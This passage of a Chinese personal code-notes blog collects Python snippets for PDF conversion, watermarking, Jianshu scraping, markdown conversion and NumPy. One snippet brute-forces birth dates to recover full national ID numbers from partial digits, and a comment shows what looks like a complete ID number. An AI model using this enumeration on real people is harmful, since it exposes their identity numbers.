class="line"><span class="string">table.gridtable th &#123;</span></span><br><span class="line"><span class="string">    border-width: 1px;</span></span><br><span class="line"><span class="string">    padding: 8px;</span></span><br><span class="line"><span class="string">    background-color: #008eff;</span></span><br><span class="line"><span class="string">    color:#fff;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">table.gridtable td &#123;</span></span><br><span class="line"><span class="string">    border-width: 1px;</span></span><br><span class="line"><span class="string">    padding: 8px;</span></span><br><span class="line"><span class="string">    border-style: solid;</span></span><br><span class="line"><span class="string">    border-color: #afafaf;</span></span><br><span class="line"><span class="string">    background-color: #ffffff;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">table tr:first-child td:first-child, table tr:first-child th:first-child&#123;</span></span><br><span class="line"><span class="string">  border-top-left-radius: 5px;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">table tr:first-child td:last-child, table tr:first-child th:last-child&#123;</span></span><br><span class="line"><span class="string">  border-top-right-radius: 5px;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&lt;/style&gt;</span></span><br><span class="line"><span class="string">&lt;/head&gt;</span></span><br><span class="line"><span class="string">&lt;body&gt;</span></span><br><span class="line"><span class="string">&lt;table class=\"gridtable\" align=center&gt;</span></span><br><span class="line"><span class="string">&lt;tr&gt;</span></span><br><span class="line"><span class="string">    &lt;th colspan="</span><span class="number">7</span><span class="string">"&gt;告警主机:192.168.11.1&lt;/th&gt;</span></span><br><span class="line"><span class="string">&lt;/tr&gt;</span></span><br><span class="line"><span class="string">&lt;tr&gt;</span></span><br><span class="line"><span class="string">    &lt;td&gt;文件系统&lt;/td&gt;&lt;td&gt;类型&lt;/td&gt;&lt;td&gt;总共&lt;/td&gt;&lt;td&gt;已用&lt;/td&gt;&lt;td&gt;可用&lt;/td&gt;&lt;td&gt;使用率&lt;/td&gt;&lt;td&gt;挂载点&lt;/td&gt;</span></span><br><span class="line"><span class="string">&lt;/tr&gt;</span></span><br><span class="line"><span class="string">&lt;tr&gt;</span></span><br><span class="line"><span class="string">    &lt;td&gt;$a&lt;/td&gt;&lt;td&gt;$b&lt;/td&gt;&lt;td&gt;$c&lt;/td&gt;&lt;td&gt;$d&lt;/td&gt;&lt;td&gt;$e&lt;/td&gt;&lt;td style=\"color:red;font-weight:bold\"&gt;$f&lt;/td&gt;&lt;td&gt;$g&lt;/td&gt;</span></span><br><span class="line"><span class="string">&lt;/tr&gt;</span></span><br><span class="line"><span class="string">&lt;/table&gt;</span></span><br><span class="line"><span class="string">&lt;/body&gt;</span></span><br><span class="line"><span class="string">&lt;/html&gt;"</span></span><br><span class="line">echo -e <span class="string">"$html"</span> &gt;<span class="regexp">/tmp/</span>df.html</span><br><span class="line"></span><br><span class="line">如果需要使用ssl协议，修改<span class="number">2</span>个地方</span><br><span class="line">smtpserver = 'smtp.exmail.qq.com:465' #加上465端口</span><br><span class="line">smtp = smtplib.SMTP_SSL() #加上ssl</span><br><span class="line">https:<span class="comment">//me.jinchuang.org/archives/272.html</span></span><br></pre></td></tr></table></figure>
<h3 id="pdf"><a href="#pdf" class="headerlink" title="pdf"></a>pdf</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pdfkit</span><br><span class="line"></span><br><span class="line">pdfkit.from_file(<span class="string">'jianshu.htm'</span>,<span class="string">'out.pdf'</span>)   </span><br><span class="line">pdfkit.from_string(<span class="string">'HelloWorld'</span>,<span class="string">'out.pdf'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'jianshu.htm'</span>,<span class="string">'r'</span>) <span class="keyword">as</span> f:</span><br><span class="line">	pdfkit.from_file(f,<span class="string">'out.pdf'</span>)   </span><br><span class="line">	pdfkit.from_url([<span class="string">'https://www.jianshu.com/'</span>,<span class="string">'https://www.baidu.com/'</span>],<span class="string">'out.pdf'</span>)</span><br><span class="line">    </span><br><span class="line">    #pdfkit.from_file(['jianshu.htm','jianshu1.htm'],'out.pdf')  </span><br><span class="line">    </span><br><span class="line">     options=&#123;</span><br><span class="line">        'page-size':'A4',#Letter</span><br><span class="line">         <span class="string">'margin-top'</span>:<span class="string">'0.75in'</span>,</span><br><span class="line">         <span class="string">'margin-right'</span>:<span class="string">'0.75in'</span>,</span><br><span class="line">         <span class="string">'margin-bottom'</span>:<span class="string">'0.75in'</span>,</span><br><span class="line">         <span class="string">'margin-left'</span>:<span class="string">'0.75in'</span>,</span><br><span class="line">         <span class="string">'encoding'</span>:<span class="string">"UTF-8"</span>,</span><br><span class="line">         <span class="string">'no-outline'</span>:None</span><br><span class="line">     &#125;    </span><br><span class="line">     pdfkit.from_url(<span class="string">'https://www.jianshu.com/'</span>,<span class="string">'out1.pdf'</span>, options=options)</span><br><span class="line">     </span><br><span class="line">     https:<span class="comment">//juejin.im/post/5ce69794e51d4577523f22ef</span></span><br></pre></td></tr></table></figure>
<h3 id="天善博客内容如何转成PDF文档"><a href="#天善博客内容如何转成PDF文档" class="headerlink" title="天善博客内容如何转成PDF文档"></a>天善博客内容如何转成PDF文档</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">wkhtmltopdf  <span class="string">'http://www.flybi.net/blog/seng/3645'</span> <span class="string">'http://www.flybi.net/blog/seng/3599'</span>  sengblog.pdf</span><br><span class="line"></span><br><span class="line">wkhtmltopdf  --javascript-delay <span class="number">2000</span> <span class="string">'http://www.flybi.net/blog/seng/3645'</span> <span class="string">'http://www.flybi.net/blog/seng/3599'</span>  sengblog.pdf</span><br><span class="line"></span><br><span class="line">wkhtmltopdf  --dump-outline out.xsl  toc <span class="string">'http://www.flybi.net/blog/seng/3645'</span> <span class="string">'http://www.flybi.net/blog/seng/3599'</span>  sengblog.pdf</span><br><span class="line"></span><br><span class="line">https:<span class="comment">//ask.hellobi.com/blog/seng/3691</span></span><br></pre></td></tr></table></figure>
<h3 id="如何批量添加图片水印"><a href="#如何批量添加图片水印" class="headerlink" title="如何批量添加图片水印"></a>如何批量添加图片水印</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">python 利用opencv去除图片水印 https:<span class="comment">//mp.weixin.qq.com/s/BqeBk0oPP1KpueviCwZFFQ</span></span><br><span class="line"></span><br><span class="line">https:<span class="comment">//mp.weixin.qq.com/s/QnMzvq_VWs2HyKHhD4FxQg</span></span><br><span class="line"><span class="keyword">import</span> os,traceback</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"># 获取文件夹图片</span><br><span class="line">def get_folder(fpath,wm_file,save_path):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        img_suffix_list = [<span class="string">'png'</span>, <span class="string">'jpg'</span>, <span class="string">'bmp'</span>]</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> os.listdir(fpath):</span><br><span class="line">            <span class="keyword">if</span> i.split(<span class="string">'.'</span>)[<span class="number">-1</span>] <span class="keyword">in</span> img_suffix_list:</span><br><span class="line">                img_path = fpath + <span class="string">'/'</span> + i</span><br><span class="line">                img_water_mark(img_file=img_path,wm_file=wm_file,save_path=save_path)</span><br><span class="line">    except Exception <span class="keyword">as</span> e:</span><br><span class="line">        print(traceback.print_exc())</span><br><span class="line"></span><br><span class="line"># 图片添加水印</span><br><span class="line">def img_water_mark(img_file, wm_file,save_path):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        img = Image.open(img_file)  # 打开图片</span><br><span class="line">        watermark = Image.open(wm_file)  # 打开水印</span><br><span class="line">        img_size = img.size</span><br><span class="line">        wm_size = watermark.size</span><br><span class="line">        # 如果图片大小小于水印大小</span><br><span class="line">        <span class="keyword">if</span> img_size[<span class="number">0</span>] &amp;lt; wm_size[<span class="number">0</span>]:</span><br><span class="line">            watermark.resize(tuple(map(lambda x: int(x * <span class="number">0.5</span>), watermark.size)))</span><br><span class="line">        print(<span class="string">'图片大小：'</span>, img_size)</span><br><span class="line">        wm_position = (img_size[0]-wm_size[0],img_size[1]-wm_size[1]) # 默认设定水印位置为右下角</span><br><span class="line">        layer = Image.new('RGBA', img.size)  # 新建一个图层</span><br><span class="line">        layer.paste(watermark, wm_position)  # 将水印图片添加到图层上</span><br><span class="line">        mark_img = Image.composite(layer, img, layer)</span><br><span class="line">        new_file_name = <span class="string">'/new_'</span>+img_file.split(<span class="string">'/'</span>)[<span class="number">-1</span>]</span><br><span class="line">        mark_img.save(save_path + new_file_name)</span><br><span class="line">    except Exception <span class="keyword">as</span> e:</span><br><span class="line">        print(traceback.print_exc())</span><br></pre></td></tr></table></figure>
<h3 id="爬虫简书"><a href="#爬虫简书" class="headerlink" title="爬虫简书"></a>爬虫简书</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> lxml <span class="keyword">import</span> etree</span><br><span class="line"></span><br><span class="line">my_header = <span class="string">"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"</span></span><br><span class="line"></span><br><span class="line">res = requests.get(url=<span class="string">'https://www.jianshu.com/users/5aa8494a18c8/timeline'</span>, headers=&#123;<span class="string">'user-agent'</span>: my_header&#125;)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="string">'666'</span> <span class="keyword">in</span> res.text:</span><br><span class="line">    print(<span class="string">'found'</span>)</span><br><span class="line">page = etree.HTML(res.text)</span><br><span class="line">last_li = page.xpath(<span class="string">''</span><span class="string">'//ul[@class="note-list"]/li[last()]'</span><span class="string">''</span>)[<span class="number">0</span>]</span><br><span class="line">max_id = int(last_li.get(<span class="string">'id'</span>).split(<span class="string">'-'</span>)[<span class="number">1</span>]) - <span class="number">1</span></span><br><span class="line"></span><br><span class="line">file = open(<span class="string">"activity.txt"</span>,<span class="string">'w'</span>,encoding=<span class="string">'utf-8'</span>)</span><br><span class="line"></span><br><span class="line">page = <span class="number">2</span></span><br><span class="line"><span class="keyword">while</span> True:</span><br><span class="line">    res = requests.get(url=<span class="string">'https://www.jianshu.com/users/5aa8494a18c8/timeline?max_id=%s&amp;page=%s'</span> %(max_id,page),</span><br><span class="line">        headers=&#123;<span class="string">'user-agent'</span>: my_header, <span class="string">'X-INFINITESCROLL'</span>:<span class="string">'true'</span>&#125;)</span><br><span class="line"></span><br><span class="line">    last_li = etree.HTML(res.text).xpath(<span class="string">''</span><span class="string">'/html/body/li[last()]'</span><span class="string">''</span>)[<span class="number">0</span>]</span><br><span class="line">    max_id = int(last_li.get(<span class="string">'id'</span>).split(<span class="string">'-'</span>)[<span class="number">1</span>]) - <span class="number">1</span></span><br><span class="line">    page = page + <span class="number">1</span></span><br><span class="line">    file.write(res.text)</span><br><span class="line">    file.write(<span class="string">"\n"</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">'加入了简书'</span> <span class="keyword">in</span> res.text:</span><br><span class="line">        print(<span class="string">'end'</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">file.close()</span><br><span class="line">https:<span class="comment">//www.jianshu.com/p/35a85ee14f7b</span></span><br></pre></td></tr></table></figure>
<h3 id="markdown-转PDF"><a href="#markdown-转PDF" class="headerlink" title="markdown 转PDF"></a>markdown 转PDF</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br></pre></td><td class="code"><pre><span class="line">pip install markdown </span><br><span class="line">markdown.markdown() 函数就可以读取 md 文件里的内容了</span><br><span class="line">先转HTML </span><br><span class="line"><span class="keyword">import</span> markdown</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> codecs</span><br><span class="line"><span class="string">''</span><span class="string">'</span></span><br><span class="line"><span class="string">savepath = "F:\RenZhengfei"</span></span><br><span class="line"><span class="string">os.chdir(savepath)</span></span><br><span class="line"><span class="string">file = codecs.open("README.md",  mode="r", encoding="utf-8")</span></span><br><span class="line"><span class="string">text = file.read()</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">html = markdown.markdown(text)</span></span><br><span class="line"><span class="string">print(html)</span></span><br><span class="line"><span class="string">with open('</span>file_name.html<span class="string">', '</span>w<span class="string">') as f:</span></span><br><span class="line"><span class="string">    f.write(html)</span></span><br><span class="line"><span class="string">'</span><span class="string">''</span></span><br><span class="line"></span><br><span class="line">head = <span class="string">""</span><span class="string">"&lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="string">&lt;html&gt;</span></span><br><span class="line"><span class="string">&lt;head&gt;</span></span><br><span class="line"><span class="string">&lt;meta http-equiv="</span>Content-Type<span class="string">" content="</span>text/html;charset=utf<span class="number">-8</span><span class="string">" /&gt;</span></span><br><span class="line"><span class="string">&lt;style type="</span>text/css<span class="string">"&gt;</span></span><br><span class="line"><span class="string">code &#123;</span></span><br><span class="line"><span class="string">  color: inherit;</span></span><br><span class="line"><span class="string">  background-color: rgba(0, 0, 0, 0.05);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&lt;/style&gt;</span></span><br><span class="line"><span class="string">&lt;/head&gt;</span></span><br><span class="line"><span class="string">&lt;body&gt;</span></span><br><span class="line"><span class="string">"</span><span class="string">""</span></span><br><span class="line"></span><br><span class="line">foot = <span class="string">""</span><span class="string">"</span></span><br><span class="line"><span class="string">&lt;/body&gt;</span></span><br><span class="line"><span class="string">&lt;/html&gt;</span></span><br><span class="line"><span class="string">"</span><span class="string">""</span></span><br><span class="line">filepath = <span class="string">"F:\RenZhengfei-master\ALL"</span></span><br><span class="line">savepath = <span class="string">"F:\RenZhengfei-master\ALL-html"</span></span><br><span class="line"><span class="keyword">if</span> not os.path.isdir(savepath):</span><br><span class="line">    os.mkdir(savepath)</span><br><span class="line">os.chdir(savepath)</span><br><span class="line"></span><br><span class="line">i = <span class="number">0</span></span><br><span class="line">pathDir = os.listdir(filepath)</span><br><span class="line"><span class="keyword">for</span> allDir <span class="keyword">in</span> pathDir:</span><br><span class="line">    <span class="keyword">if</span> (allDir == <span class="string">"pdf"</span>):</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    name = allDir</span><br><span class="line">    print(name)</span><br><span class="line"></span><br><span class="line">    os.chdir(filepath)</span><br><span class="line">    fp1 = codecs.open(name, mode=<span class="string">"r"</span>, encoding=<span class="string">"utf-8"</span>)</span><br><span class="line">    text = fp1.read()</span><br><span class="line">    html = markdown.markdown(text)</span><br><span class="line">    fp1.close()</span><br><span class="line">    #print(html)</span><br><span class="line"></span><br><span class="line">    fname = name.replace(<span class="string">'md'</span>, <span class="string">'html'</span>)</span><br><span class="line"></span><br><span class="line">    #f2 = '%s.html' % (fname)</span><br><span class="line">    os.chdir(savepath)</span><br><span class="line">    fp2 = codecs.open(fname, <span class="string">"w"</span>, encoding=<span class="string">"utf-8"</span>, errors=<span class="string">"xmlcharrefreplace"</span>)</span><br><span class="line">    fp2.write(head + html + foot)</span><br><span class="line">    fp2.close()</span><br><span class="line"></span><br><span class="line">print(i)</span><br><span class="line"></span><br><span class="line">https:<span class="comment">//wemp.app/posts/6f807ecf-9ebd-4449-b419-2cfbf8c2e41f</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> pdfkit</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">wk_path = r<span class="string">'E:\Program Files\wkhtmltox\bin\wkhtmltopdf.exe'</span></span><br><span class="line">config = pdfkit.configuration(wkhtmltopdf=wk_path)</span><br><span class="line"></span><br><span class="line">filepath = <span class="string">"F:\RenZhengfei-master\ALL-html"</span></span><br><span class="line">savepath = <span class="string">"F:\RenZhengfei-master\ALL-pdf"</span></span><br><span class="line">time1 = time.time()</span><br><span class="line">pathDir = os.listdir(filepath)</span><br><span class="line"><span class="keyword">for</span> allDir <span class="keyword">in</span> pathDir:</span><br><span class="line">    <span class="keyword">if</span> (allDir == <span class="string">"pdf"</span>):</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    name = allDir</span><br><span class="line">    print(name)</span><br><span class="line">    htmlpath=filepath+<span class="string">"\\"</span>+name</span><br><span class="line">    print(htmlpath)</span><br><span class="line">    name = name.replace(<span class="string">'html'</span>, <span class="string">'pdf'</span>)</span><br><span class="line">    os.chdir(savepath)</span><br><span class="line">    pdfkit.from_url(htmlpath, name, configuration=config)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#pdfkit.from_url(url, name, configuration=config)</span><br><span class="line">time2 = time.time()</span><br><span class="line">print(str(time2 - time1)+<span class="string">" s"</span>)</span><br></pre></td></tr></table></figure>
<h3 id="验证身份证号"><a href="#验证身份证号" class="headerlink" title="验证身份证号"></a>验证身份证号</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">#生成出生当年所有日期</span><br><span class="line">def dateRange(year):</span><br><span class="line">    fmt = <span class="string">'%Y-%m-%d'</span></span><br><span class="line">    bgn = int(time.mktime(time.strptime(year+<span class="string">'-01-01'</span>,fmt)))</span><br><span class="line">    end = int(time.mktime(time.strptime(year+<span class="string">'-12-31'</span>,fmt)))</span><br><span class="line">    list_date = [time.strftime(fmt,time.localtime(i)) <span class="keyword">for</span> i <span class="keyword">in</span> range(bgn,end+<span class="number">1</span>,<span class="number">3600</span>*<span class="number">24</span>)]</span><br><span class="line">    <span class="keyword">return</span> [i.replace(<span class="string">'-'</span>,<span class="string">''</span>) <span class="keyword">for</span> i <span class="keyword">in</span> list_date]</span><br><span class="line"></span><br><span class="line">data_time  = dateRange(<span class="string">'1993'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> id_validator <span class="keyword">import</span> validator</span><br><span class="line"></span><br><span class="line">#遍历所有日期，print通过校验的身份证号码</span><br><span class="line">pip install id-validator</span><br><span class="line">def vali_dator(id1,id2,id3):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> dateRange(id2):</span><br><span class="line">        theid = id1 + i + id3</span><br><span class="line">        <span class="keyword">if</span> validator.is_valid(theid):</span><br><span class="line">            print(theid)</span><br><span class="line"></span><br><span class="line">vali_dator(<span class="string">'330221'</span>,<span class="string">'1993'</span>,<span class="string">'4914'</span>)</span><br><span class="line"></span><br><span class="line">https:<span class="comment">//mp.weixin.qq.com/s?__biz=MzU5MjI3NzIxMw==&amp;mid=2247486816&amp;idx=1&amp;sn=baa976db515e3b9b99e7001daa9a577a&amp;chksm=fe2376d2c954ffc486625e5420e3ebcf3d83581986b0568b804fb5a54e4aaa032b4992c13905&amp;mpshare=1&amp;scene=1&amp;srcid=1023PX0DRWmDc5E8oEZSVUx6&amp;sharer_sharetime=1571795782903&amp;sharer_shareid=43165518fc08bc947dca48788293333a&amp;key=6f23511bf9e1c01f4c78d4f8f46e1b1e8fc6e548405a6029e3b015de7441c1527cd4817fc238470a3211f36f03178e6f7f9888d5f7d1ee5e6ef6b0b0fced5da2f45aa739e184ae5749a86f5102efd4f9&amp;ascene=1&amp;uin=NjQ3OTQwMTAy&amp;devicetype=Windows+7&amp;version=62070152&amp;lang=zh_CN&amp;pass_ticket=Nl73k%2FpmXYhrLnAbsjSStmagh1FEZZkB8fhtyVf9%2BmzY8foNNpPw%2FmaVHa2zPKdu</span></span><br><span class="line">#print(validator.get_info('330221199306084914'))</span><br><span class="line">https:<span class="comment">//github.com/zpw1995/aotodata/blob/master/interest/ID_card/ID_card.py</span></span><br></pre></td></tr></table></figure>
<h3 id="NumPy-基础"><a href="#NumPy-基础" class="headerlink" title="NumPy 基础"></a>NumPy 基础</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">NumPy 的主要对象是多维数组 Ndarray。在 NumPy 中维度（dimensions）叫做轴（axes），轴的个数叫做秩（rank）</span><br><span class="line">&gt;&gt;&gt; np.array([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>])</span><br><span class="line">array([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>])</span><br><span class="line">&gt;&gt;&gt; np.array([(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>), (<span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>)])</span><br><span class="line">array([[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>],</span><br><span class="line">       [<span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>]])</span><br><span class="line">&gt;&gt;&gt; np.zeros((<span class="number">3</span>, <span class="number">3</span>))</span><br><span class="line">array([[<span class="number">0.</span>, <span class="number">0.</span>, <span class="number">0.</span>],</span><br><span class="line">       [<span class="number">0.</span>, <span class="number">0.</span>, <span class="number">0.</span>],</span><br><span class="line">       [<span class="number">0.</span>, <span class="number">0.</span>, <span class="number">0.</span>]])</span><br><span class="line">&gt;&gt;&gt; np.arange(<span class="number">5</span>)</span><br><span class="line">array([<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>])</span><br><span class="line">&gt;&gt;&gt; np.arange(<span class="number">6</span>).reshape(<span class="number">2</span>, <span class="number">3</span>)</span><br><span class="line">array([[<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>],</span><br><span class="line">       [<span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]])</span><br><span class="line">    &gt;&gt;&gt; np.random.rand(<span class="number">2</span>, <span class="number">3</span>)</span><br><span class="line">    array([[<span class="number">0.50122984</span>, <span class="number">0.98824375</span>, <span class="number">0.81388012</span>],</span><br><span class="line">           [<span class="number">0.60951775</span>, <span class="number">0.02055326</span>, <span class="number">0.97622093</span>]])   </span><br><span class="line">   &gt;&gt;&gt; np.random.randint(<span class="number">5</span>, size=(<span class="number">2</span>, <span class="number">3</span>))</span><br><span class="line">   array([[<span class="number">2</span>, <span class="number">0</span>, <span class="number">2</span>],</span><br><span class="line">          [<span class="number">4</span>, <span class="number">4</span>, <span class="number">4</span>]])</span><br><span class="line">          </span><br><span class="line">   https:<span class="comment">//learnku.com/articles/35684</span></span><br><span class="line"> &gt;&gt;&gt; a = np.array([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>])</span><br><span class="line"> &gt;&gt;&gt; b = np.arange(<span class="number">1</span>, <span class="number">6</span>)</span><br><span class="line"> &gt;&gt;&gt; a, b</span><br><span class="line"> (array([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]), array([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]))</span><br></pre></td></tr></table></figure>
<p>###<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span 